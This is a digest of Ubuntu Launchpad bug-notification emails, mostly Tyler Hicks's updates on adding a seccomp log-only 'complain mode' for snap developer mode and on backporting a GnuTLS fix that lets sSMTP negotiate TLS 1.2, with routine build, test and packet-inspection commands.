+ audit: type=1326 audit(1505859630.994:69): auid=1000 uid=1000 gid=1000
+ ses=2 pid=18451 comm="lp1567597-test" exe="/home/tyhicks/lp1567597-test"
+ sig=0 arch=c03e syscall=2 compat=0 ip=0x7f547352c5c0 code=0x7ffc
+ 
+ [Regression Potential]
+ 
+ Relatively small since the core logic is in the kernel and we're only
+ exposing the new action through libseccomp. The changes include smarts
+ to query the kernel to see if the action is available in the kernel.
+ Calling applications will not be able to use the action on older kernels
+ that don't support it.

** Summary changed:

- implement 'complain mode' in seccomp for developer mode with snaps
+ [FFe] implement 'complain mode' in seccomp for developer mode with snaps

** Attachment added: "lp1567597-test.c"
   
https://bugs.launchpad.net/snappy/+bug/1567597/+attachment/4953120/+files/lp1567597-test.c

** Description changed:

  A requirement for snappy is that a snap may be placed in developer mode
  which will put the security sandbox in complain mode such that
  violations against policy are logged, but permitted. In this manner
  learning tools can be written to parse the logs, etc and make developing
  on snappy easier.
  
  Unfortunately with seccomp only SCMP_ACT_KILL logs to dmesg and while we
  can set complain mode to permit all calls, they are not logged at this
  time. I've discussed this with upstream and we are working together on
  the approach. This may require a kernel patch and an update to
  libseccomp, to filing this bug for now as a placeholder and we'll add
  other tasks as necessary.
  
  UPDATE: ubuntu-core-launcher now supports the '@complain' directive that
  is a synonym for '@unrestricted' so people can at least turn on
  developer mode and not be blocked by seccomp. Proper complain mode for
  seccomp needs to still be implemented (this bug).
  
  [Impact]
  
  Snapd needs a way to log seccomp actions without blocking any syscalls
  in order to have a more useful 

[Touch-packages] [Bug 1567597] Re: [FFe] implement 'complain mode' in seccomp for developer mode with snaps

[Tyler Hicks]

Debdiff to consider for Artful FFe. (I don't need sponsorship)

** Patch added: "libseccomp_2.3.1-2.1ubuntu2.debdiff"
   
https://bugs.launchpad.net/snappy/+bug/1567597/+attachment/4953121/+files/libseccomp_2.3.1-2.1ubuntu2.debdiff

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libseccomp in Ubuntu.
https://bugs.launchpad.net/bugs/1567597

Title:
  [FFe] implement 'complain mode' in seccomp for developer mode with
  snaps

Status in Snappy:
  Confirmed
Status in libseccomp package in Ubuntu:
  In Progress
Status in linux package in Ubuntu:
  Fix Released

Bug description:
  A requirement for snappy is that a snap may be placed in developer
  mode which will put the security sandbox in complain mode such that
  violations against policy are logged, but permitted. In this manner
  learning tools can be written to parse the logs, etc and make
  developing on snappy easier.

  Unfortunately with seccomp only SCMP_ACT_KILL logs to dmesg and while
  we can set complain mode to permit all calls, they are not logged at
  this time. I've discussed this with upstream and we are working
  together on the approach. This may require a kernel patch and an
  update to libseccomp, to filing this bug for now as a placeholder and
  we'll add other tasks as necessary.

  UPDATE: ubuntu-core-launcher now supports the '@complain' directive
  that is a synonym for '@unrestricted' so people can at least turn on
  developer mode and not be blocked by seccomp. Proper complain mode for
  seccomp needs to still be implemented (this bug).

  [Impact]

  Snapd needs a way to log seccomp actions without blocking any syscalls
  in order to have a more useful complain mode. Such functionality has
  been acked upstream and patches are on their way into the Linux 4.14
  kernel (backported to 4.12.0-13.14 in artful).

  The corresponding libseccomp changes are still undergoing review
  (https://github.com/seccomp/libseccomp/pull/92). The pull request adds
  a number of new symbols and probably isn't appropriate to backport
  until upstream has acked the pull request. However, only a small part
  of that larger pull request is needed by snapd and that change can be
  safely backported since the only added symbol, the SCMP_ACT_LOG macro,
  must match the SECCOMP_RET_LOG macro that has already been approved
  and merged in the upstream Linux kernel.

  [Test Case]

  A large number of tests are ran as part of the libseccomp build.
  However, the "live" tests which test libseccomp with actual kernel
  enforcement are not ran at that time. They can be manually exercised
  to help catch any regressions. Note that on Artful, there's an
  existing test failure (20-live-basic_die%%002-1):

  $ sudo apt build-dep -y libseccomp
  $ sudo apt install -y cython
  $ apt source libseccomp
  $ autoreconf -ivf && ./configure --enable-python && make check-build
  $ (cd tests && ./regression -T live)
  ...
  Test 20-live-basic_die%%002-1 result:   FAILURE 20-live-basic_die TRAP 
rc=159
  ...
  Regression Test Summary
   tests run: 12
   tests skipped: 0
   tests passed: 11
   tests failed: 1
   tests errored: 0
  

  Now we can build and run a small test program to test the SCMP_ACT_LOG
  action in the way that snapd wants to use it for developer mode:

  $ sudo apt install -y libseccomp-dev
  $ gcc -o lp1567597-test lp1567597-test.c -lseccomp
  $ ./lp1567597-test

  The exit code should be 0 and you should have an entry in the system
  log that looks like this:

  audit: type=1326 audit(1505859630.994:69): auid=1000 uid=1000 gid=1000
  ses=2 pid=18451 comm="lp1567597-test"
  exe="/home/tyhicks/lp1567597-test" sig=0 arch=c03e syscall=2
  compat=0 ip=0x7f547352c5c0 code=0x7ffc

  [Regression Potential]

  Relatively small since the core logic is in the kernel and we're only
  exposing the new action through libseccomp. The changes include smarts
  to query the kernel to see if the action is available in the kernel.
  Calling applications will not be able to use the action on older
  kernels that don't support it.

To manage notifications about this bug go to:
https://bugs.launchpad.net/snappy/+bug/1567597/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1709193] Re: Unable to use TLSv1.1 or 1.2 with OpenSSL compat layer

[Tyler Hicks]

I agree with juliank's assessment in comment #22. The 2nd Trusty debdiff
allows md5 to be used throughout the entire cert chain which is
apparently not what Simon intended. I don't think it is the right
approach.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gnutls26 in Ubuntu.
https://bugs.launchpad.net/bugs/1709193

Title:
  Unable to use TLSv1.1 or 1.2 with OpenSSL compat layer

Status in gnutls26 package in Ubuntu:
  Invalid
Status in gnutls28 package in Ubuntu:
  Fix Released
Status in gnutls26 source package in Trusty:
  Fix Committed
Status in gnutls28 source package in Trusty:
  Won't Fix
Status in ssmtp source package in Trusty:
  Invalid
Status in gnutls26 source package in Xenial:
  Invalid
Status in gnutls28 source package in Xenial:
  Fix Committed
Status in ssmtp source package in Xenial:
  Invalid
Status in gnutls26 source package in Zesty:
  Invalid
Status in gnutls28 source package in Zesty:
  Fix Released
Status in ssmtp source package in Zesty:
  Invalid
Status in gnutls26 source package in Artful:
  Invalid
Status in gnutls28 source package in Artful:
  Fix Released
Status in ssmtp source package in Artful:
  Invalid
Status in gnutls28 package in Debian:
  Fix Released

Bug description:
  [Impact]

  Applications using GnuTLS OpenSSL compat layer [1] are be unable to
  use modern TLS versions (1.1 and 1.2) when relying on the
  SSLv23_{client,server}_method functions.

  There is an industry-wide push to use modern TLS versions, see [2] and
  [3] for example.

  The proposed fix changes the compat layer to use GnuTLS' "NORMAL"
  priority [4] instead of hard-coding which protocol versions and
  ciphers to enable.

  [Test Case]

  1) Setup a mail submission server that uses StartTLS
  2) Setup sSMTP (uses GnuTLS OpenSSL compat layer) to relay
 through the mail relay using StartTLS
  3) Send an email while capturing with tcpdump/tshark
  4) Inspect the submission connection (TCP/587) and look for the protocol
 version negotiated by the client.

  Without the fix, you should see TLSv1.0. With the fix, it should be
  TLSv1.2.

  Please see the original issue description for more details.

  [Regression Potential]

  Regression risk should be low since it's a backport of a simple fix
  that landed in Debian in April 2017.

  [References]

  1: $ apt-cache rdepends libgnutls-openssl27
  libgnutls-openssl27
  Reverse Depends:
libgnutls-dev
libgnutls-dev
zoneminder
yaskkserv
tf5
ssmtp
snowdrop
sngrep
slrnpull
slrn
sipsak
macopix-gtk2
gnss-sdr
gkrellm
freewheeling
boinctui
iputils-ping

  2: https://lists.debian.org/debian-devel-announce/2017/08/msg4.html
  3: https://blog.pcisecuritystandards.org/migrating-from-ssl-and-early-tls
  4: https://gnutls.org/manual/html_node/Priority-Strings.html

  
  [Original issue description]

  sSMTP is limited to using TLSv1.0 and the "old" ciphers that come with
  it. Here's a packet capture when ssmtp connects to
  smtp.sdeziel.info:587 that offers TLSv1.0 and higher:

  $ tshark -ta -Vr submission.pcap | sed -n '/^Frame 14:/,/^Frame 15:/ p' | 
grep -E '^[[:space:]]+(Version|Cipher|Handshake Protocol)'
  Version: TLS 1.0 (0x0301)
  Handshake Protocol: Client Hello
  Version: TLS 1.0 (0x0301)
  Cipher Suites Length: 30
  Cipher Suites (15 suites)
  Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)
  Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA (0x0035)
  Cipher Suite: TLS_RSA_WITH_CAMELLIA_128_CBC_SHA (0x0041)
  Cipher Suite: TLS_RSA_WITH_CAMELLIA_256_CBC_SHA (0x0084)
  Cipher Suite: TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x000a)
  Cipher Suite: TLS_DHE_RSA_WITH_AES_128_CBC_SHA (0x0033)
  Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039)
  Cipher Suite: TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA (0x0045)
  Cipher Suite: TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA (0x0088)
  Cipher Suite: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (0x0016)
  Cipher Suite: TLS_DHE_DSS_WITH_AES_128_CBC_SHA (0x0032)
  Cipher Suite: TLS_DHE_DSS_WITH_AES_256_CBC_SHA (0x0038)
  Cipher Suite: TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA (0x0044)
  Cipher Suite: TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA (0x0087)
  Cipher Suite: TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA (0x0013)

  I would expect ssmtp to use TLSv1.2 and a recent cipher like the
  openssl s_client is able to do:

  $ echo | openssl s_client -connect smtp.sdeziel.info:587 -starttls smtp 
2>/dev/null | grep -E '^[[:space:]]+(Protocol|Cipher)'
  Protocol  : TLSv1.2
  Cipher: ECDHE-RSA-AES128-GCM-SHA256

  Additional information:

  $ lsb_release -rd
  Description:  Ubuntu 16.04.3 LTS
  Release:  16.04
  

[Touch-packages] [Bug 1709193] Re: Unable to use TLSv1.1 or 1.2 with OpenSSL compat layer

[Tyler Hicks]

Ignore my last comment. You were asking about Xenial but it was the
Trusty SRU that was blocked on ubuntu-security review.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gnutls26 in Ubuntu.
https://bugs.launchpad.net/bugs/1709193

Title:
  Unable to use TLSv1.1 or 1.2 with OpenSSL compat layer

Status in gnutls26 package in Ubuntu:
  Invalid
Status in gnutls28 package in Ubuntu:
  Fix Released
Status in gnutls26 source package in Trusty:
  Fix Committed
Status in gnutls28 source package in Trusty:
  Won't Fix
Status in ssmtp source package in Trusty:
  Invalid
Status in gnutls26 source package in Xenial:
  Invalid
Status in gnutls28 source package in Xenial:
  Fix Committed
Status in ssmtp source package in Xenial:
  Invalid
Status in gnutls26 source package in Zesty:
  Invalid
Status in gnutls28 source package in Zesty:
  Fix Released
Status in ssmtp source package in Zesty:
  Invalid
Status in gnutls26 source package in Artful:
  Invalid
Status in gnutls28 source package in Artful:
  Fix Released
Status in ssmtp source package in Artful:
  Invalid
Status in gnutls28 package in Debian:
  Fix Released

Bug description:
  [Impact]

  Applications using GnuTLS OpenSSL compat layer [1] are be unable to
  use modern TLS versions (1.1 and 1.2) when relying on the
  SSLv23_{client,server}_method functions.

  There is an industry-wide push to use modern TLS versions, see [2] and
  [3] for example.

  The proposed fix changes the compat layer to use GnuTLS' "NORMAL"
  priority [4] instead of hard-coding which protocol versions and
  ciphers to enable.

  [Test Case]

  1) Setup a mail submission server that uses StartTLS
  2) Setup sSMTP (uses GnuTLS OpenSSL compat layer) to relay
 through the mail relay using StartTLS
  3) Send an email while capturing with tcpdump/tshark
  4) Inspect the submission connection (TCP/587) and look for the protocol
 version negotiated by the client.

  Without the fix, you should see TLSv1.0. With the fix, it should be
  TLSv1.2.

  Please see the original issue description for more details.

  [Regression Potential]

  Regression risk should be low since it's a backport of a simple fix
  that landed in Debian in April 2017.

  [References]

  1: $ apt-cache rdepends libgnutls-openssl27
  libgnutls-openssl27
  Reverse Depends:
libgnutls-dev
libgnutls-dev
zoneminder
yaskkserv
tf5
ssmtp
snowdrop
sngrep
slrnpull
slrn
sipsak
macopix-gtk2
gnss-sdr
gkrellm
freewheeling
boinctui
iputils-ping

  2: https://lists.debian.org/debian-devel-announce/2017/08/msg4.html
  3: https://blog.pcisecuritystandards.org/migrating-from-ssl-and-early-tls
  4: https://gnutls.org/manual/html_node/Priority-Strings.html

  
  [Original issue description]

  sSMTP is limited to using TLSv1.0 and the "old" ciphers that come with
  it. Here's a packet capture when ssmtp connects to
  smtp.sdeziel.info:587 that offers TLSv1.0 and higher:

  $ tshark -ta -Vr submission.pcap | sed -n '/^Frame 14:/,/^Frame 15:/ p' | 
grep -E '^[[:space:]]+(Version|Cipher|Handshake Protocol)'
  Version: TLS 1.0 (0x0301)
  Handshake Protocol: Client Hello
  Version: TLS 1.0 (0x0301)
  Cipher Suites Length: 30
  Cipher Suites (15 suites)
  Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)
  Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA (0x0035)
  Cipher Suite: TLS_RSA_WITH_CAMELLIA_128_CBC_SHA (0x0041)
  Cipher Suite: TLS_RSA_WITH_CAMELLIA_256_CBC_SHA (0x0084)
  Cipher Suite: TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x000a)
  Cipher Suite: TLS_DHE_RSA_WITH_AES_128_CBC_SHA (0x0033)
  Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039)
  Cipher Suite: TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA (0x0045)
  Cipher Suite: TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA (0x0088)
  Cipher Suite: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (0x0016)
  Cipher Suite: TLS_DHE_DSS_WITH_AES_128_CBC_SHA (0x0032)
  Cipher Suite: TLS_DHE_DSS_WITH_AES_256_CBC_SHA (0x0038)
  Cipher Suite: TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA (0x0044)
  Cipher Suite: TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA (0x0087)
  Cipher Suite: TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA (0x0013)

  I would expect ssmtp to use TLSv1.2 and a recent cipher like the
  openssl s_client is able to do:

  $ echo | openssl s_client -connect smtp.sdeziel.info:587 -starttls smtp 
2>/dev/null | grep -E '^[[:space:]]+(Protocol|Cipher)'
  Protocol  : TLSv1.2
  Cipher: ECDHE-RSA-AES128-GCM-SHA256

  Additional information:

  $ lsb_release -rd
  Description:  Ubuntu 16.04.3 LTS
  Release:  16.04
  $ apt-cache policy ssmtp libgnutls-openssl27
  ssmtp:
    Installed: 2.64-8ubuntu1
    

[Touch-packages] [Bug 1709193] Re: Unable to use TLSv1.1 or 1.2 with OpenSSL compat layer

[Tyler Hicks]

@sdeziel ubuntu-security was asked to comment on it a few days ago. I've
just freed up enough to take a look.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gnutls26 in Ubuntu.
https://bugs.launchpad.net/bugs/1709193

Title:
  Unable to use TLSv1.1 or 1.2 with OpenSSL compat layer

Status in gnutls26 package in Ubuntu:
  Invalid
Status in gnutls28 package in Ubuntu:
  Fix Released
Status in gnutls26 source package in Trusty:
  Fix Committed
Status in gnutls28 source package in Trusty:
  Won't Fix
Status in ssmtp source package in Trusty:
  Invalid
Status in gnutls26 source package in Xenial:
  Invalid
Status in gnutls28 source package in Xenial:
  Fix Committed
Status in ssmtp source package in Xenial:
  Invalid
Status in gnutls26 source package in Zesty:
  Invalid
Status in gnutls28 source package in Zesty:
  Fix Released
Status in ssmtp source package in Zesty:
  Invalid
Status in gnutls26 source package in Artful:
  Invalid
Status in gnutls28 source package in Artful:
  Fix Released
Status in ssmtp source package in Artful:
  Invalid
Status in gnutls28 package in Debian:
  Fix Released

Bug description:
  [Impact]

  Applications using GnuTLS OpenSSL compat layer [1] are be unable to
  use modern TLS versions (1.1 and 1.2) when relying on the
  SSLv23_{client,server}_method functions.

  There is an industry-wide push to use modern TLS versions, see [2] and
  [3] for example.

  The proposed fix changes the compat layer to use GnuTLS' "NORMAL"
  priority [4] instead of hard-coding which protocol versions and
  ciphers to enable.

  [Test Case]

  1) Setup a mail submission server that uses StartTLS
  2) Setup sSMTP (uses GnuTLS OpenSSL compat layer) to relay
 through the mail relay using StartTLS
  3) Send an email while capturing with tcpdump/tshark
  4) Inspect the submission connection (TCP/587) and look for the protocol
 version negotiated by the client.

  Without the fix, you should see TLSv1.0. With the fix, it should be
  TLSv1.2.

  Please see the original issue description for more details.

  [Regression Potential]

  Regression risk should be low since it's a backport of a simple fix
  that landed in Debian in April 2017.

  [References]

  1: $ apt-cache rdepends libgnutls-openssl27
  libgnutls-openssl27
  Reverse Depends:
libgnutls-dev
libgnutls-dev
zoneminder
yaskkserv
tf5
ssmtp
snowdrop
sngrep
slrnpull
slrn
sipsak
macopix-gtk2
gnss-sdr
gkrellm
freewheeling
boinctui
iputils-ping

  2: https://lists.debian.org/debian-devel-announce/2017/08/msg4.html
  3: https://blog.pcisecuritystandards.org/migrating-from-ssl-and-early-tls
  4: https://gnutls.org/manual/html_node/Priority-Strings.html

  
  [Original issue description]

  sSMTP is limited to using TLSv1.0 and the "old" ciphers that come with
  it. Here's a packet capture when ssmtp connects to
  smtp.sdeziel.info:587 that offers TLSv1.0 and higher:

  $ tshark -ta -Vr submission.pcap | sed -n '/^Frame 14:/,/^Frame 15:/ p' | 
grep -E '^[[:space:]]+(Version|Cipher|Handshake Protocol)'
  Version: TLS 1.0 (0x0301)
  Handshake Protocol: Client Hello
  Version: TLS 1.0 (0x0301)
  Cipher Suites Length: 30
  Cipher Suites (15 suites)
  Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)
  Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA (0x0035)
  Cipher Suite: TLS_RSA_WITH_CAMELLIA_128_CBC_SHA (0x0041)
  Cipher Suite: TLS_RSA_WITH_CAMELLIA_256_CBC_SHA (0x0084)
  Cipher Suite: TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x000a)
  Cipher Suite: TLS_DHE_RSA_WITH_AES_128_CBC_SHA (0x0033)
  Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039)
  Cipher Suite: TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA (0x0045)
  Cipher Suite: TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA (0x0088)
  Cipher Suite: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (0x0016)
  Cipher Suite: TLS_DHE_DSS_WITH_AES_128_CBC_SHA (0x0032)
  Cipher Suite: TLS_DHE_DSS_WITH_AES_256_CBC_SHA (0x0038)
  Cipher Suite: TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA (0x0044)
  Cipher Suite: TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA (0x0087)
  Cipher Suite: TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA (0x0013)

  I would expect ssmtp to use TLSv1.2 and a recent cipher like the
  openssl s_client is able to do:

  $ echo | openssl s_client -connect smtp.sdeziel.info:587 -starttls smtp 
2>/dev/null | grep -E '^[[:space:]]+(Protocol|Cipher)'
  Protocol  : TLSv1.2
  Cipher: ECDHE-RSA-AES128-GCM-SHA256

  Additional information:

  $ lsb_release -rd
  Description:  Ubuntu 16.04.3 LTS
  Release:  16.04
  $ apt-cache policy ssmtp libgnutls-openssl27
  ssmtp:
    Installed: 2.64-8ubuntu1
    Candidate: 

[Touch-packages] [Bug 1567597] Re: implement 'complain mode' in seccomp for developer mode with snaps

[Tyler Hicks]

@zyga those are both good questions.

- Detection functionality is included in kernel patches. There's a new
seccomp(2) operation to check if the log action is available and an
added test to ensure that there's a certain combination of valid/invalid
seccomp(2) arguments that can be used to detect if the log filter flag
is available. Both of these checks will be embedded into libseccomp and
the checks will be carried out when the calling code specifies actions
and filter flags.

- Making the necessary libseccomp-golang changes is something that I
plan to do. I need to hear back from the libseccomp PR first and then
will proceed to make the libseccomp-golang changes that match the
libseccomp changes.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libseccomp in Ubuntu.
https://bugs.launchpad.net/bugs/1567597

Title:
  implement 'complain mode' in seccomp for developer mode with snaps

Status in Snappy:
  In Progress
Status in libseccomp package in Ubuntu:
  Confirmed
Status in linux package in Ubuntu:
  Fix Committed

Bug description:
  A requirement for snappy is that a snap may be placed in developer
  mode which will put the security sandbox in complain mode such that
  violations against policy are logged, but permitted. In this manner
  learning tools can be written to parse the logs, etc and make
  developing on snappy easier.

  Unfortunately with seccomp only SCMP_ACT_KILL logs to dmesg and while
  we can set complain mode to permit all calls, they are not logged at
  this time. I've discussed this with upstream and we are working
  together on the approach. This may require a kernel patch and an
  update to libseccomp, to filing this bug for now as a placeholder and
  we'll add other tasks as necessary.

  UPDATE: ubuntu-core-launcher now supports the '@complain' directive
  that is a synonym for '@unrestricted' so people can at least turn on
  developer mode and not be blocked by seccomp. Proper complain mode for
  seccomp needs to still be implemented (this bug).

To manage notifications about this bug go to:
https://bugs.launchpad.net/snappy/+bug/1567597/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1713189] Re: Got stop job running c1 session

[Tyler Hicks]

** Information type changed from Private Security to Public

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to xorg in Ubuntu.
https://bugs.launchpad.net/bugs/1713189

Title:
  Got stop job running c1 session

Status in xorg package in Ubuntu:
  New

Bug description:
  Got stop job running c1 session, takes long time to shutdown the pc

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: xorg 1:7.7+13ubuntu3
  ProcVersionSignature: Ubuntu 4.10.0-32.36~16.04.1-generic 4.10.17
  Uname: Linux 4.10.0-32-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.10
  Architecture: amd64
  CompizPlugins: No value set for 
`/apps/compiz-1/general/screen0/options/active_plugins'
  CompositorRunning: None
  Date: Fri Aug 25 20:02:15 2017
  DistUpgraded: Fresh install
  DistroCodename: xenial
  DistroVariant: ubuntu
  ExtraDebuggingInterest: Yes
  GraphicsCard:
   Intel Corporation Sky Lake Integrated Graphics [8086:1916] (rev 07) (prog-if 
00 [VGA controller])
 Subsystem: Hewlett-Packard Company Skylake Integrated Graphics [103c:8079]
  InstallationDate: Installed on 2017-08-26 (0 days ago)
  InstallationMedia: Ubuntu-GNOME 16.04.3 LTS "Xenial Xerus" - Release amd64 
(20170801)
  MachineType: HP HP EliteBook 840 G3
  ProcEnviron:
   LANGUAGE=en_CA:en
   PATH=(custom, no user)
   LANG=en_CA.UTF-8
   SHELL=/bin/bash
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.10.0-32-generic.efi.signed 
root=UUID=bfd4a0da-f910-4231-82fd-4627708c9adf ro quiet splash vt.handoff=7
  SourcePackage: xorg
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 07/31/2016
  dmi.bios.vendor: HP
  dmi.bios.version: N75 Ver. 01.10
  dmi.board.name: 8079
  dmi.board.vendor: HP
  dmi.board.version: KBC Version 85.6F
  dmi.chassis.type: 10
  dmi.chassis.vendor: HP
  dmi.modalias: 
dmi:bvnHP:bvrN75Ver.01.10:bd07/31/2016:svnHP:pnHPEliteBook840G3:pvr:rvnHP:rn8079:rvrKBCVersion85.6F:cvnHP:ct10:cvr:
  dmi.product.name: HP EliteBook 840 G3
  dmi.sys.vendor: HP
  version.compiz: compiz N/A
  version.ia32-libs: ia32-libs N/A
  version.libdrm2: libdrm2 2.4.76-1~ubuntu16.04.1
  version.libgl1-mesa-dri: libgl1-mesa-dri 17.0.7-0ubuntu0.16.04.1
  version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A
  version.libgl1-mesa-glx: libgl1-mesa-glx 17.0.7-0ubuntu0.16.04.1
  version.xserver-xorg-core: xserver-xorg-core N/A
  version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A
  version.xserver-xorg-video-ati: xserver-xorg-video-ati N/A
  version.xserver-xorg-video-intel: xserver-xorg-video-intel N/A
  version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau N/A

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1713189/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1567597] Re: implement 'complain mode' in seccomp for developer mode with snaps

[Tyler Hicks]

The kernel patches were committed to the Ubuntu Artful kernel git repo:
https://lists.ubuntu.com/archives/kernel-team/2017-August/086714.html

** Changed in: linux (Ubuntu)
   Status: In Progress => Fix Committed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libseccomp in Ubuntu.
https://bugs.launchpad.net/bugs/1567597

Title:
  implement 'complain mode' in seccomp for developer mode with snaps

Status in Snappy:
  In Progress
Status in libseccomp package in Ubuntu:
  Confirmed
Status in linux package in Ubuntu:
  Fix Committed

Bug description:
  A requirement for snappy is that a snap may be placed in developer
  mode which will put the security sandbox in complain mode such that
  violations against policy are logged, but permitted. In this manner
  learning tools can be written to parse the logs, etc and make
  developing on snappy easier.

  Unfortunately with seccomp only SCMP_ACT_KILL logs to dmesg and while
  we can set complain mode to permit all calls, they are not logged at
  this time. I've discussed this with upstream and we are working
  together on the approach. This may require a kernel patch and an
  update to libseccomp, to filing this bug for now as a placeholder and
  we'll add other tasks as necessary.

  UPDATE: ubuntu-core-launcher now supports the '@complain' directive
  that is a synonym for '@unrestricted' so people can at least turn on
  developer mode and not be blocked by seccomp. Proper complain mode for
  seccomp needs to still be implemented (this bug).

To manage notifications about this bug go to:
https://bugs.launchpad.net/snappy/+bug/1567597/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1567597] Re: implement 'complain mode' in seccomp for developer mode with snaps

[Tyler Hicks]

A status update is in order. We settled on a design that meets
everyone's kernel needs. Those patches have been accepted into linux-
next and they're on their way into 4.14.

  https://lkml.kernel.org/r/%3C20170815220319.GA63342@beast%3E

I've submitted Artful backports to the kernel team:

  https://lists.ubuntu.com/archives/kernel-team/2017-August/086691.html

I've reached out to the libseccomp maintainer to discuss some design
aspects that needed to be sorted out and now I've proposed a PR for
libseccomp:

  https://github.com/seccomp/libseccomp/pull/92

I'll have a little more work to do on libseccomp-golang once the
libseccomp PR is reviewed. Then I can start the SRUs. The snap-seccomp
/snap-confine changes are straightforward and small so they shouldn't be
a problem.

Everything is finally coming together but there have been a lot of
moving pieces (and people) involved in landing all the changes.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libseccomp in Ubuntu.
https://bugs.launchpad.net/bugs/1567597

Title:
  implement 'complain mode' in seccomp for developer mode with snaps

Status in Snappy:
  In Progress
Status in libseccomp package in Ubuntu:
  Confirmed
Status in linux package in Ubuntu:
  In Progress

Bug description:
  A requirement for snappy is that a snap may be placed in developer
  mode which will put the security sandbox in complain mode such that
  violations against policy are logged, but permitted. In this manner
  learning tools can be written to parse the logs, etc and make
  developing on snappy easier.

  Unfortunately with seccomp only SCMP_ACT_KILL logs to dmesg and while
  we can set complain mode to permit all calls, they are not logged at
  this time. I've discussed this with upstream and we are working
  together on the approach. This may require a kernel patch and an
  update to libseccomp, to filing this bug for now as a placeholder and
  we'll add other tasks as necessary.

  UPDATE: ubuntu-core-launcher now supports the '@complain' directive
  that is a synonym for '@unrestricted' so people can at least turn on
  developer mode and not be blocked by seccomp. Proper complain mode for
  seccomp needs to still be implemented (this bug).

To manage notifications about this bug go to:
https://bugs.launchpad.net/snappy/+bug/1567597/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1567597] Re: implement 'complain mode' in seccomp for developer mode with snaps

[Tyler Hicks]

** Also affects: linux (Ubuntu)
   Importance: Undecided
   Status: New

** Changed in: linux (Ubuntu)
   Status: New => In Progress

** Changed in: linux (Ubuntu)
 Assignee: (unassigned) => Tyler Hicks (tyhicks)

** Changed in: libseccomp (Ubuntu)
 Assignee: (unassigned) => Tyler Hicks (tyhicks)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libseccomp in Ubuntu.
https://bugs.launchpad.net/bugs/1567597

Title:
  implement 'complain mode' in seccomp for developer mode with snaps

Status in Snappy:
  In Progress
Status in libseccomp package in Ubuntu:
  Confirmed
Status in linux package in Ubuntu:
  In Progress

Bug description:
  A requirement for snappy is that a snap may be placed in developer
  mode which will put the security sandbox in complain mode such that
  violations against policy are logged, but permitted. In this manner
  learning tools can be written to parse the logs, etc and make
  developing on snappy easier.

  Unfortunately with seccomp only SCMP_ACT_KILL logs to dmesg and while
  we can set complain mode to permit all calls, they are not logged at
  this time. I've discussed this with upstream and we are working
  together on the approach. This may require a kernel patch and an
  update to libseccomp, to filing this bug for now as a placeholder and
  we'll add other tasks as necessary.

